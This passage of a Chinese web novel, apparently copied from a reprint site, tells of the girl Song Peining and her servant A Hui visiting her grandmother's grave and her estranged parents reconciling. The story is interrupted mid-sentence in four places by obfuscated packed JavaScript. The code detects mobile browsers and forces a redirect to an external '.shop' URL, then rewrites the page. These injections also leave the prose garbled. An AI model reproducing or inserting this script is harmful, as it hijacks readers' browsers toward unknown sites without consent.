于是宋沛宁把碗里的饭快速扒了两口,鼓着腮帮子擦了擦嘴巴,伸出一只手指,朝上指了指。 天上?云翎皱眉,这不还是…… “山上!”宋沛宁说到,“我不见后,我阿娘日日忧心,嫌我阿爹没本事不作为,单方面把我阿爹休了,自己则去山上的道观修行。我当时在山上见到你,也是为了想去山上找我阿娘,可惜找错了方向,迷路了,阿娘没找到,找到了你。” - 长辈之间的仇怨,并不影响一个爱女如命的老父亲对自己女儿喜爱。 宋沛宁与她阿爹隔日便又和好了,为了讨闺女欢心,重新训诫了那个油嘴滑舌的掌事。掌事怕老爷把他辞了遣回老家去,往后可就再没有油水如此大的好差事,吓得屁滚尿流,一个劲地求老爷网开一面。 姨娘也跟着求情,见老爷一个字都听不进去,又转头去拍小的马屁。说什么“我们家阿宁也不是多小心眼的人,起初也不知这小孩子与我们阿宁交好呀——你想想,你生病时后厨变着花样给你做这做那,全是后厨掌事的一番良苦用心呀!看在这些往日情分上,快劝劝你阿爹高抬贵手吧!” 宋沛宁原本也没想把后厨掌事真的辞退,毕竟要是辞退了才是便宜了他,宋沛宁只好假意无辜地点了点头,转头劝了劝阿爹。 “阿爹,既然姨娘都这么说了,要不还是算了吧。” 面对自家闺女,宋老爷就是个傻白甜,既然闺女都如此发话了,此事便作罢。不过—— 老爷负着手,对后厨掌事居高临下地说:“还不快谢过女公子,日后女公子渴了饿了,全凭女公子调遣。” 后厨掌事以为逃过一劫,连忙谢老爷谢女公子谢姨娘。 笑道:“应该的,应该的。” 后厨掌事当时笑得那么开心,觉得雨后亮瓦晴天了,很快他便笑不出来了。 宋沛宁有了她爹给由头和特权,外加耳濡目染姨娘和她儿子矫情的样儿,学过来三分,便足够掌事头疼了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976800|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 女公子每天,想吃的东西格外多,派了阿回去后厨吩咐,想吃杨梅,杨梅还没等端上来,又传话过来,女公子觉得杨梅有点酸,想该吃葡萄。 葡萄不是更酸? 但女公子这么吩咐的,后厨就得这么做,掌事卸下杨梅去洗葡萄,女公子的那个传话筒,半高不大的小孩儿阿回,又安静地微笑着走进来了。 “掌事辛苦,我们女公子说了,想吃点冰镇的西瓜和杨梅,葡萄先放到一边罢。” 得,又白忙活。 阿回这么一出一进地来递话,闹得后厨鸡犬不宁。府里遇见阿回都恨不得绕道走,当真是怕了他。 “女公子说中午吃咸了,想吃点桂花糕压压。” “女公子吃多了,桂花糕吃不下,想喝点莲叶羹顺顺,顺带降降火。” “女公子想吃点肉,但最近有点胖了,想吃点吃了不长肉的肉。” “…………” 后厨掌事还在心里琢磨,虽说宋沛宁从过去一直都不是好拿捏的,但女公子脾气直,就算发作起来,也颇好找到她的错漏。最近也不知怎的忽然转了性子,学会拐着弯来拿捏他,糟践他。把当初他给她扣大帽子的话术一并学过来,一口一个家主、一口一个府上规矩撑着,宋沛宁本来就是主子,后厨掌事就算心里有不满,也只能照做,再也不敢拿宋沛宁当软柿子捏,只求女大公子别来后厨找他们的麻烦就谢天谢地了。 宋沛宁院里,云翎微笑从后厨端来一碗新上的荔枝蜜饯。 宋沛宁放下书,心道:后厨掌事这是怎么了,他不来招她,反过来天天往院里送吃食。 云翎靠近,笑着,表情还是淡淡。 “这蜜饯十分清甜,女公子尝尝。” 自从云翎进了宋府,宋沛宁渐渐就将离家出走的事情放下了。 小孩放下了,大人也就放下了,没有再提。 云翎成了穿梭在宋府的眼熟面孔,因为小孩安静温和,被宋老爷也称赞了好几回。 很快就到天儿要热不热的季节,许是快入夏了,但还须等些日子,于是中间又下了几场雨。 不下雨的时候,偶尔天色也会阴郁郁的,雾蒙蒙的。 深更半夜,露水更浓时,云翎觉得耳朵痒痒的,挣扎着从睡梦中睁开眼睛。 睁开眼,定了神,发现宋沛宁趴在他的破床板边,露出一对楚楚可怜的眼睛。 “阿宁,你怎么了。”云翎坐起身,揉了揉干涩的眼,“你睡不着吗?还是做噩梦?” 宋沛宁摇头。 然后无论云翎问什么,宋沛宁都摇头。 云翎耐着性子,不觉得烦,往床铺里挪了个位子腾给她。 “阿宁,地上凉,你上来坐。” 宋沛宁一骨碌地爬上来,两个人小孩盖着一床被子。被子打了补丁,深灰的被面,但补丁却用了一块发黄的白破布,十分的不协调。 和云翎躺在一块,宋沛宁觉得温暖。窗外隐隐露出天光,只要再耐心等一等,马上就能熬到天亮了。 兴许都不用等到天亮,只要等到稍微蒙蒙亮的时候,家丁纷纷起身干活,院里就会有人响了,人也不会再觉得寂寞。 但宋沛宁不能等到那个时候。 她翻了翻身,转向云翎,轻声在他耳边说;“阿回,我们逃吧。” 25. 卿卿 云翎不明白宋沛宁沉寂了这么久,怎么又重新提起了这件事。 不过既然宋沛宁想,他便也没问,点了点头,没犹豫地说了句“好”。 两个小孩借着黎明前熹微的光亮偷偷逃走了,云翎不知道宋沛宁要去哪,也不知道这次走了还回不回来,反正宋沛宁说走,他就陪她一起离开。 两个人走出城门时,天光终于慢慢亮了起来。 宋沛宁摊开一卷事先准备好的地图,上面标记了几处地点,宋沛宁手指了一处山林深处的墨点,向云翎说道:“我们先去看我祖母,然后去找我娘,如果半夜没被我爹抓回去的话。” 云翎从来没有听宋沛宁讲过她的祖母……不对,只讲过一次,在她上次烧得快要不省人事的时候,她说过想祖母。 云翎看了看宋沛宁标记的地图,按理来说儿子如此出息,老夫人留在府上颐养天年,享清闲日子,跑去深山老林里作甚,除非……? “我好久没有见过祖母了。自从我回家,再也没见过祖母,之前和祖母一起住时,祖母很疼我。我回来后一直惦记祖母,想握着祖母的手和她说两句贴心话,阿爹却不许。阿爹说祖母回老家去了,住不惯临舟的水土。可是从前祖母一直都在临舟的,怎么老了年迈了,反而还住不惯了呢?” 宋沛宁说得很慢,说来说去,绕来绕去,就是不敢提那个字。 “……有天我路过家中祠堂,有婢女在里间打扫,我透过门缝往里看,隐隐约约看见了祖母的牌位。原来祖母不是住不惯临舟的水土,是住不下我们人世间了……婢女转头见到我,好像吓坏了,连忙跑过来跪在我面前,一直说她不是故意的,求我千万别告诉家主。因为我爹严令说过,此事绝不能让我知道……她一直哭一直哭,攥着我的裙角,要我救救她。可是谁还不是身陷困境,谁来救救我呢?” 宋沛宁的声音渐渐小下去,头也低了。 云翎感受到她低落的情绪,往她身侧靠近了一点,“然后呢?” “本来祖母想能忍住,后来彻底忍不住了,每日到了夜里就想哭,睁着眼睛不肯睡。看天上,祖母是哪一颗星星啊,会不会趁我睡着偷偷来看我。可是人就是这样吧,等我哭了许久许久许久之后,有一天就没有原因地不再哭了。” “我从那个小婢女那套话,她怯怯懦懦地告诉我,祖母是因为我丢了,伤心欲绝,生了场大病才去世的。阿爹怕我自责,始终瞒着我,祖母忌日时背着我去祭奠,可我是在他们一行人回时才发现的。我再问,就没人带我去了,我猜祖母应该在葬在我们宋家的家族墓地,没几天就是清明节,我不能再浑浑噩噩地被我阿爹糊弄过去。” 云翎沉默,宋沛宁表面上持宠而娇,可总归还是吃了不少的苦。但她对那些苦难一向闭口不谈,反而家中的阿爹、阿娘、祖母时常挂在嘴边。就连他这样无足轻重的小角色,她都愿意为他出头,灰头土脸地跟后厨掌事争个是非黑白。 于是云翎回头看了看宋沛宁的表情,宋沛宁瘪着嘴,眼中闪着水光,迎风眨了眨眼睛,是极力不想让自己哭出来的表情。 宋沛宁问云翎:“如果祖母早知道她会因为我去世,她还愿意做我的祖母吗?” 云翎身后盖过宋沛宁不安的头顶,轻声安慰她,“说什么傻话。” 他说完,把宋沛宁固执地拧在手心里的地图接了过来,牵过宋沛宁的手,“走吧,我带你去见祖母,祖母肯定也想你。” 要抵达宋家的家族墓地,坐车也要大半天的光景,两个小孩走山路就更慢了。 宋沛宁到底也没舍得让宋老爷子瞎猜自己的去处,留在一张字条,说是去找阿娘,您不用担心,我和阿回一起。 宋沛宁自觉自己整挺好,一来安抚她爹莫要担心,二来给指了个反方向,省得人还没走到祖母跟前呢,先被她阿爹提溜耳朵根子提溜回去了。 宋家家主看完宋沛宁留下的字条,青筋暴起,急得团团转。立刻放下手上的事情,带着一队人马气势汹汹地朝宋沛宁阿娘的道观去了。 等待会儿宋老爷子上了山,老夫老妻一对冤家见了面,想必又是一场腥风血雨酣畅淋漓的骂战—— “你瞧瞧你生的闺女!一点都不曾让人省心!成天惯知道到处瞎跑!” “我闺女怎么了!我闺女怎么了!”宋沛宁的亲亲娘亲,一边福生无量天尊,一边抄起怀里的拂尘,掉过头来,拿杆子那头儿抽他,“要不是看在你一直稀稀罕罕地对我闺女的份上,我早把我闺女接上山了,你不养给我!废话怎么多!肯定是你家里那个勾栏活妖精对我家阿宁不好,不然我家阿宁凭什么说来找阿娘?滚!赶紧给我滚!” 宋家家主怒发冲冠,气红了一张脸,急火攻心憋了半天,猛地一屁股坐在入口的青石砖上,愤愤地“哼”了一声。 “你让我滚,我偏不滚!你把囡囡还来!还来我就滚!” 只见二人吵得天翻地覆,香火鼎差点没被两口子端了。躲在西王母摇摇欲坠的台子下的老道长,长袖抱着头,忍无可忍地跑出来制止道:“二位贵人高抬贵手,放了贫道的小小道观吧!女公子今天没来道观,贫道劝两位莫要再吵了,还是折返先找到女公子为妙!” 得,吵了半天,宋沛宁压根没在这。 这架吵得实在没味,宋老爷子拍拍屁股上的灰站起身,不服气地看了阿宁娘一眼,正要提步离开,身后阿宁娘上车上得比他还快。 “快走,找闺女去,磨磨蹭蹭的!” 另一边,两个小人走着山路,不知不觉便入夜了。 云翎看看地图,约莫去到目的地还有一半的路程,得在林子里将就一晚。 云翎能从京城一路逃到临舟,全凭了这一身山林里求生的本事,不过宋沛宁一个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13024668|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑娘嘛,云翎怕她不习惯。 云翎侧头问她:“阿宁,你累不累?” 两个人互相不了解,或者说,对彼此都是一知半解。一个以为对方娇生惯养,除了家庭不睦,但好在家人对她都十分宠爱。另一个以为对方贫寒出身,被无良的牙贩掳到陌生的地方,无依无靠,多亏遇到了她。 于是宋沛宁摇摇头,想让云翎对自己少些误解,笑着说:“我不累。这附近兴许有山洞,我们再找找,去山洞里躲一晚。” 宋沛宁这么说完,两人又走了半晌,果真看见一个山洞。 云翎找了一些干草给宋沛宁铺了简单的床铺,又从包裹里拿出了一件厚一点的外衣。正要递给宋沛宁,手臂到底犹豫了一下, 想到宋沛宁贵为女公子,自己这身布衣过于寒碜,也不知道宋沛宁会不会嫌弃。 宋沛宁倒也没想那么多,见他有意向递过来,伸手便收了。 想起清晨时候,她说逃跑,阿回想也没想答应了,起身就去收拾了个小包裹背在身上。 她当时还想,阿回会不会是以为再也不回宋府了,于是收拾些路上的盘缠。 没想到全是为她准备的,里面还有干粮吃食。 宋沛宁正想着,阿回又拿出一块桂花糕递给她,浅浅笑着说:“阿宁,你饿了吧?你先吃一些,但我们脚程估摸还有一天,得省着些吃。” 宋沛宁楞楞地接过来,惊讶于自己从未想到,短短仓促的清晨,阿回能准备得如此齐全。 “嗯……谢谢。你也吃点。” “我不饿。”云翎笑了笑,边说边转身去外面抱回来一些枯树枝,叠在一起再熟练地钻几下,很快生起了火。 宋沛宁裹着云翎的外衣坐在地上烤火,眼睛追着云翎跑来跑去。 她忽然有点好奇这个看着白净瘦弱的小少年的过去,“阿回,你怎么会这么多呀。” 云翎说:“自己慢慢学,一开始也不会。” 宋沛宁笑了笑,“你有点神秘,总是说一半留一半。” 云翎顿了顿,不置可否地淡淡回答:“你只要知道我告诉你的,都是真话,就够了。” 宋沛宁“嘁”了一声,阿回一定在装酷,不过……她借着山洞里忽闪的明灭的火光看他。 是有点小酷。 “那你呢?” 云翎停下手上的动作,转过头,口气郑重地问。 “你总说出门在外的时候,你是去了哪里,又去了多久?” “我啊……” 这次轮到宋沛宁沉默。 她微微低下头,鼻腔里隐隐飘来阿回的外衣上清新的皂角的味道。 “我六岁的时候被坏婆婆抱走了,后来也不知道去了哪里,中间不知道过了多少天、多少年,好不容易被我爹找到,带我回了家。再再后来……我的世界,天翻地覆啦。” 26. 卿卿 夜深了,山洞里有些冷。 宋沛宁心里装着事睡不着,翻过身,看到云翎守在离她不远的地方。他微微合着眼,但能看出来没有睡沉。 临睡前云翎担心宋沛宁晚上睡不着害怕,于是留了一点点的火光,顺便也能暖和些。 宋沛宁说:“不用为我多费心,我在外流浪时也吃了不少苦哩,才不似旁的大家小姐金贵。” 云翎闻声点点头,笑着回答:“是吗,那阿宁真的很厉害。” 嘴上这么说,但手下动作没停,一小点的火焰跃在木柴堆之上,像是跳跃在漆黑的洞中。 云翎点完火来到宋沛宁身边,替她整理好简陋的干草铺,轻声说:“好了,阿宁,你什么都不要担心,等火堆灭了我再去点,你安心睡吧。” “你不睡吗?” “我睡,我就在旁边坐着睡,你有事就喊我。” “可是坐着睡很不舒服……” “没关系,我习惯了,我可以睡得很好。” ………… 不远处,云翎点亮的火堆还在黑暗中柔软地燃着,偶尔发出一小下树枝烧着的噼啪声。 宋沛宁辗转反侧,最后还是毫无睡意的睁开眼睛,几步之遥的地方,云翎果然还在那里。瘦弱的小少年肩膀薄薄的,好像连他自己都保护不了,却还在固执地守着她的安稳。 宋沛宁把头枕在手臂上,借着明灭忽闪的火光偷偷细细地观察他。 看云翎投在山洞墙壁上一团抖动的影子。宋沛宁轻轻喊他:“阿回,阿回。” 只喊了一声,云翎马上就转醒了,顺着她的尾音“嗯”了一下,耐心清浅地问:“怎么了?” 宋沛宁说:“我睡不着。” 云翎问:“干草铺不太舒服吧。” “不是,心里揣着事。” “想祖母?” “想。还想阿娘和阿爹,想从前好的时候。” “你觉得现在不好吗,宋家家主还是对你一如既往地上心。” “我知道,可是心里怪怪的,说不上来……小时候从来不理解害怕失去的心情,现在好像突然懂了。” “阿宁,你别怕,大胆点。”墙壁上云翎的影子稍微动了一下,“就算摔倒了,有我接住你就是了,你永远都不用害怕。” 宋沛宁怔了一下,而后迎面感受到云翎看向自己的目光。 云翎的的眼神很少如此坚定,多数时候全是轻轻的,一带而过的。像是穿过人的身体去看坐落在他身后的青砖。 宋沛宁一直以为是因为阿回什么都不在乎,但在那一刻,她竟然从中感觉到可以倚靠的安全感。 阿回唯一在乎的人是她吗? “之前我带你回府后大病一场,没及时管你,害你去后厨呆了那么多天,你有没有怪我?” “没有。” “那你在外流浪的伤可都好利索了?都没留下病根吧?” “没有。” “……那,你好不容易在府上住下了,又被我带出来,你怪不怪我?” “不怪。” 和云翎聊完两句,宋沛宁心情莫名轻松了不少。尽管她知道,她明天要面对的还是一座没有温度不会说话的墓碑,也许她无力承受亲眼看到祖母的离世,但有阿回陪着她,至少能让她稍微放一点心。 想到明天,宋沛宁又碎碎念个不停。过去祖母总爱戴翠绿翠绿的翡翠,老人家很爱美,也不知道去了那边的世界,还能不能找到称心的翡翠戴。 “我明天见到祖母,想多跟祖母说几句体己话,你可不要偷听去了。” 云翎笑,总是宋沛宁说什么都能让他笑出来。 “好。我明天走远一点。” “但是不能走太远,千万别迷路了。” 又笑起来,点头,“好。知道了。” 翌日清早。 宋沛宁醒时,云翎早就忙活了起来。昨日从府上带出来的包袱见瘪,但还是给宋沛宁准备好了早点。 宋沛宁一边鼓着腮帮子吃完,一边连夸带忽悠地称赞阿回贤惠,阿回能干,阿回真厉害! 吃饱喝得了,两个小人继续赶路。天亮了,路不再昨晚那么难走,似乎有力气走到目的地了。 气清景明、万物皆显,一路明媚,春光正好时。 两人边走边看,宋沛宁沿路采了花,娇艳的黄,洁白的白,澄澈的蓝,攒成一小束,被云翎用野草缠起来。祖母爱漂亮,如此一来,祖母必定喜爱。 未过晌午,两人顺利到达家族墓地。 墓地前住着一个守墓人,是一个头发花白,猫着腰的小老头。 许是住在荒郊野岭太偏僻,宋沛宁总觉得这老头的眼神直勾勾的像个尖钩,看人带着打量,阴气森森的,不苟言笑,表情十分严肃。 宋沛宁与他表明身份,拿出宋家祖传的玉牌给他看。 哪知他只垂眼扫了一眼,便又看回宋沛宁,“老朽见过女公子,可能女公子不记得了,在女公子小时,家主带着女公子祭拜前家主。这许多年,倒再没见过女公子。” 宋沛宁心底惭愧,但还是保持礼书,解释道:“大伯果然好记性,可惜中间出了许多事,也是阿宁不想的,今日特意来看望祖母。” 守墓人侧过身,让宋沛宁进去,做了个“请”的手势。等宋沛宁和云翎二人走进去,盯着二人的背影,又幽然说:“如果老朽没记错,老夫人下葬时,女公子也没有来。” 守墓人的话太过直白,这一句话仿佛一根针刺,轻易击穿了宋沛宁强撑在人前最后的体面。宋沛宁鼻子一酸,登时哽咽得说不出话了,她的身影斜斜无力地顿了顿,没有回头回话。 “老夫人生前带女公子亲厚,女公子亦在心里时刻感念着老夫人,祖孙两人的事,就不劳旁人操心。” 云翎警告的声音先行响起,那声音带着力量和震慑,不似他从前温软。他说完,上前一步抵住宋沛宁的后背,靠近后又声音又软了下来。 “阿宁,还能走吗?我扶着你,这里地不平,我带你去。” 宋沛宁走不了了,眼前早就模糊成一片,她摇摇头,从身后拽过云翎的手。大滴大滴的带着体温的泪水滴在云翎的手背上,云翎抬头看了看宋沛宁,握紧了她。 祖母安葬的地方已是近在眼前,但这几步仍然走得艰难。宋沛宁站在祖母的墓碑前,眼里源源不断地涌出泪水,她不停地擦掉眼前的泪,但还是看不清墓碑上的字。 “祖母……祖母……” 宋沛宁泣不成声,说不出一句完整的话。 “……囡囡……囡囡回家啦,囡囡来看你了,是不是来晚了……?” 她蹲下身,把来时准备的花束轻轻放在祖母的墓前。弯下腰时,身影脆弱得像是快支撑不起来,仿佛一片秋天里飘零下来单薄的树叶。 宋沛宁一直在祖母坟前坐到黄昏时分。 宋老爷子后知后觉猜到了闺女的调虎离山计,拖家带口带着一行人,赶到了家族墓地。 赶得早不如赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049512|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得巧,到时,正赶上宋沛宁带着云翎离开。 “阿宁!” 随着车马声近了,宋家家主一把勒停了疾驰的马,只听马匹嘶鸣一声,马蹄在前扬起灰尘,停在原地。 家主跳下马心急地跑过来,紧跟着随行的马车里挑帘走下来一名女人,身上穿着朴素的道袍,却掩不住身上的贵气。 宋沛宁一愣,看清来人,“……爹、娘?” 此次非比前次,上次她是烧得小命快要没了,侥幸躲过一劫。这一次好手好脚,多半凶多吉少,情急之下,一个激灵躲到云翎身后。 云翎马上明白过来,张开手臂把宋沛宁护在身后,脚跟未动,当面迎上怒气冲冲的宋老爷。 “家主何故如此生气?女公子只是想祖母,家主消消气!” “小妮子主意忒正!成日想着往外跑,莫要怪阿爹说你,怕是再不好好板板你的毛病,日后定要生出别的祸端来!” 宋家家主在外一向雷厉风行,是整个临舟出了名的铁手腕。许是年轻的时候吃过苦,对待子女又格外溺爱,无论宋沛宁闯出什么祸事来,始终笑脸相迎,睁一只眼闭一只眼过去。 今日宋沛宁擅自外出,又在外隔了夜,宋老爷当真动了肝火。 宋沛宁原本不怕她爹,但面对眼前火气正盛的老爹,到底心虚,自从走进这块墓地,宋沛宁的眼泪就没停过。 她躲在云翎身后,抓着云翎后背粗布制的衣料,抓得攥出一个尖。 “跟您说有什么用?跟您说您会带我来吗?还不是要联合全府上下瞒我……祖母因为我才走得这样早,我愧对祖母,想看看祖母,您不带我来,我自己找来,又是哪里做错!!” “你……” 宋老爷到底是对女儿心疼,一时不知说什么好。当初宋沛宁一个人的走失,牵连的是整座宋家宅邸的破碎。 夫人出家,母亲离世,大女儿不知所踪……身为一家之主除了冷脸咬牙支撑,也别无他法,他把家事拼拼凑凑,好歹维持一个大宅的体面。收拾好了门楣,也好等着他的小阿宁回家。 可是他尝过与亲人生离死别的滋味太苦太苦,这样的苦他做爹的吃过了,他希望起码他的阿宁不要再吃了。 哪怕他心里清楚,纸包不住火,总有一天阿宁会知道真相。但还是能保她一天快乐,就保她一天快乐。 “哎……罢了,罢了。” 宋老爷子看着满眼泪水的宋沛宁,终究说不出一句狠话。抬头望向母亲安睡的天和原处青翠的山,撂下袖口,坚毅的老父亲也忍不住泪流满面。 彼此沉默间,宋沛宁的娘也缓缓走到了跟前。宋沛宁藏在云翎身后,从他肩膀后面露出一双哭红的眼睛,看了看爹和娘,低下头,知错地唤了声“爹”和“娘”。 接着,目光转向再也没下过山的阿娘,阿宁眨了眨红肿的眼睛:“阿娘,您能下山了?” 宋沛宁的阿娘是个美人,是那种年华逝去后,朴素布衣也不减神韵的美。 穿着道袍的美人,被自家的傻闺女气笑了,“这还不是都为了你。” 宋沛宁眼角噙着泪,“嘿嘿”笑了两声,一家三口方才剑拔弩张的气氛总算缓和下来。 “夫人,那您还上山吗?” 冷不防地,这话问出口,在场所有人都怔了一下。 先前只当随行宋沛宁出入的小随从,此次护主有功,最多回府打赏一二,还真没往深里打量他。 宋家老爷夫人闻声,视线这才落回云翎的脸上。 27. 卿卿 仔细看了才发现,原来这瘦弱的小少年长得是极标志极清秀的。 眉宇自带星锐的锋芒,身上的破衣烂衫与他毫不相称。白团子一般的小脸沾上尘泥,气质却是绝尘的。 两个大人加起来,被一个孩子的话问了个踉跄。 没等说话,云翎不打算就此作罢,紧接着仰起小脸,看向阿宁的娘,先礼数周全地颔首拱了拱手。 “我们女公子心肠软极了,有孝心,知道夫人潜心修行,哪怕心里十分万分地想了,也断不会跟您开口说一句。可是女公子不说,我却看女公子自己个儿伤怀心里不好受,索性恶人由我来当,女公子不愿意对您开口的心里话,我来说。” “自从女公子在外游历回家,娘上了山,爹有新的夫人和子嗣,连最疼她的老夫人就不在了。你们表面上接纳她,找她回来,留着她的一席之地,实际上全都做好她再也回来了之后各自的去路。豢养在府上,日日放在一个人对根本不疼她的姨娘对坐,好不容易等到爹回家来了,还要亲眼看着自己的阿爹,说好了这辈子只有囡囡一个孩子的阿爹,与别人结成一家,而她就像个多余又意外又难堪的累赘。” “我想替我们女公子问一句……你们真的爱她吗?” “也许父母亲情之爱,不是我等闲人能够随意置喙。但是我想替阿宁问你们一句,好不容易把她找回来了……你们还爱她吗?” 如果还爱她,能不能别再担惊受怕。 如果不爱她了,可不可以别让她再期待了,别让她跌得太重,我还能去接住她。 在场的人无一不震惊,敢这么质问主子,宋府上下挑不出来一个。 宋沛宁也吓得不轻,不想让爹处罚他,拽了拽云翎的衣服,示意他不要说了。 宋老爷听完沉默,盯着云翎的脸半晌没有说话,面上也看不清喜怒。宋沛宁见状,紧忙拨开云翎,自己往前走了一步。 “阿爹!阿回说的这番话都是无心之失,他是关心我才如此说的,您可别处罚他!您看长得这么瘦,个子这么小,板子可挨不了两下!” 听到女儿发话,宋老爷方才从坐定如钟的状态里抬起眼皮看了宋沛宁一眼。 心道:你急什么急?我看人家自己都没急。 他瞧阿回这孩子不一般。 才刚来府上几日,赢得阿宁的信任,又波澜不惊地调理了后厨掌事。宋老爷不是没看见眼里,相反他们做家主的,事事见得,但为守家和万事兴,便不是事事都要说得。 起先放任这孩子在府里不管,想着他不在的时候,留着他在阿宁身边,替他这傻傻的冲动的阿宁撑腰,本也不是坏事。谁知这小子不知天高地厚,连他的不是都敢明着端到台面上。他与他对峙许久,旁人若是被他如此盯着,早都吓得连连道歉,哪怕没做错,都要从前天的早饭开始反思哪里做错了。 而眼前不高不大的孩子愣是气定神闲地生生接住了。 临危不惧,更不惧强权,讲义气,也有胆识。 不错,是个好苗子。 等了许久,家主终于松了口,缓缓地问道:“你就是阿回?” 云翎点头回答道:“对,我就是阿回。” “啊回……”家主长叹一声,思索着说道,“听着口音不像临舟本地人,你莫要听我家小女信口胡乱指人姓名,你从前叫什么?” 云翎的表情还是淡淡的,对答如流道:“女公子说我是阿回,我往后就是阿回了。” 闻言,宋家主忽然大笑出声,脸上严肃的压迫感也烟消云散。 “我儿果然厉害!”宋老爷开怀时,惯爱喊宋沛宁“儿”,“你去哪里寻得如此忠良的小随从,阿爹我苦寻大半辈子,又磨合了大半辈子,才好不容易找到你裴大伯这样的人。你倒好,小小年纪竟然寻得如此英才。” 宋家主话落,目光又重回到云翎身上,再开口语气比刚才缓和了许多。 “你有秘密,不想告诉我,对不对?” 云翎一怔,这才现出几分属于少年的仓皇来。 “没关系。”家主继续说,拍了拍他的肩膀,“等到你长大,你会发现不想解释说明的事情会越来越多,关于你的身世,我不会逼你说,但是同样,我与夫人爱不爱阿宁也不会解释给你。” “可是……” “我的娃娃自然由我养大,我会对她很好很好,这点你大可以放心。”话落,宋家老爷看向自己的夫人,“夫人,道观可住够了?要不要不回府上来?” 宋沛宁朝他翻了个白眼,紧接着又仰头看向别处,鼻子酸了一小下,抬起手轻轻地打了一下老爷。 “糟老头子,我回府全是为了我家阿宁。” “是是是,夫人说得是。”家主连声答应,迎合地笑了,看向宋沛宁,低头温声问,“这下开心了吧阿宁?和不和爹娘回家?” 宋沛宁小鸡啄米似的一个劲点头,点着点着,又有点想哭,往前挪了一步,还是不敢置信,于是又挪了一步。 “爹……娘……” 两个大的牵着一个小的,三个人一起朝停在路边的马车走去。 恍然从身后吹过一阵风来,在前面的三个人走得好好的,落在后面的云翎倒是被吹得跟着走了一小步,后背像是有一人推了他一把。 云翎疑惑地回过头,却见翠绿青山中,葱郁的大树枝叶不住地在风里面摇曳。树叶摇晃的形状,隐约拼出一个慈祥蹒跚的老妇人。 那妇人慈祥端贵,隔空朝他感激地点了点头,又朝他往人的方向挥了挥手。 云翎以为自己看错了,揉了揉眼,再看过去,风停了,树也跟着静了,像是什么都没有发生。 “阿回。” 前面宋沛宁叫醒了他,“快过来,阿爹说山路崎岖,晚一点天黑了不好走。” “哎,来了。” 云翎跟着小跑过去,跑到近前,又听到家主沉沉开口说道。 “阿回,从此你便好好跟着女公子。我不在家的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097621|136116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,替我照看好的,莫要再叫她受委屈。” 云翎心不在焉地点点头,边走边回头,想再看看。 一行人离墓园越来越远了,远远看过去,青山越发翠绿剔透了。 “阿宁。”云翎在后面小声说。 “嗯?” “老夫人当真喜爱翠绿的翡翠。” “那还有假?” 宋沛宁还没听出云翎说的不是疑问句。 “祖母在那边,有许多许多戴不完的翠绿翡翠呢,老夫人很漂亮。” “嗯?你怎么知道?” “我看到了。” “嗯……?” 宋沛宁不解地回头看过来,就看苍翠的绿林青山里,葱郁的树,宁静的天。 ……嗯。 祖母一定过得很好吧。 另一厢,茹姨娘远远见到宋家的车马从街角返回来,急匆匆地拉着小儿的手跑着去迎接。 闻说宋沛宁这次捅了大篓子了,留了个字条不见踪影,老爷去接,却根本没接不到人。 没接到人敢情好。 最好跑出去了再也别回来。 茹姨娘心里打着算盘,笑得千娇百媚。 她不喜欢宋沛宁,从前就处处堵她的路,她在就分走老爷所有的溺爱,旁的孩子都不要了。幸好老天长眼竟叫她被牙子抓了去。宋沛宁不在,好不容易让她见着个出路。 于是几年里精于算计步步为营,也算颇见成效,挤走了正房夫人,儿子也生了。原本数不尽的荣华富贵眼见着就要归他们娘俩儿了,谁知宋沛宁竟然被找回来了? 宋沛宁这小姑娘脾气硬、肠子直、心里主意正,全随了她爹。 茹姨娘仅仅在暗处使过几个绊子,就成功挑拨了小姑娘和她爹离心。如今的宋沛宁早就不是走失前幸福美满的大小姐了,在外流浪几年吃了几年野草皮的野孩子,有娘生没娘养,亲娘躲在道观上去躲清闲,除了她,谁还来教她人情世故。 所以,她想怎么教就怎么教。 把她教得离经叛道、恃宠而骄,是她茹姨娘的本事。 茹姨娘这么想着,目光伸向街角处朝府里大门缓缓行进的车马。 找不回来最好,找回来也罢,反正故技重施便可。 